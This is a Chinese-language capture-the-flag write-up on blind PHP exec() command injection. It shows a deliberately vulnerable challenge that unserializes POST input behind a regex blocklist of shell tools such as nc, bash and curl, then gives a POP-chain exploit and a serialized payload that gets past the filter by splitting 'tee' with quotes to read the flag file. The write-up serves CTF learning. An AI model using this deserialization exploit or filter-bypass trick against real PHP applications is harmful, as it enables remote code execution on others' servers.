无回显exec命令执行
exec不像system一样,exec是一种无回显的命令执行,所以可以使用反弹shell或将执行的内容写入指定的文件中
题目:
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}
可见这是一题简单的反序列化只需要将'qwejaskdjnlka'变量指向自身类就可以通过'echo'触发'__tostring'魔法函数
exp:
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
$a=new minipop();
$a->qwejaskdjnlka=new minipop();
$a->qwejaskdjnlka->code='cat /ls';
echo serialize($a);
命令是执行了但是有好多的字符和命令都被过滤掉了,可见反弹shell肯定是行不通了,那么可以让他执行的内容写到指定的文件里,然后读取指定的文件即可看到我们执行后的呢容
tee
<执行的语句> tee <要写到的指定文件>
最终的exp:
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
$a=new minipop();
$a->qwejaskdjnlka=new minipop();
$a->qwejaskdjnlka->code='cat /flag_is_h3eeere | t''ee c';
echo serialize($a);
payload:
O:7:"minipop":2:{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:30:"cat /flag_is_h3eeere | t''ee c";s:13:"qwejaskdjnlka";N;}}

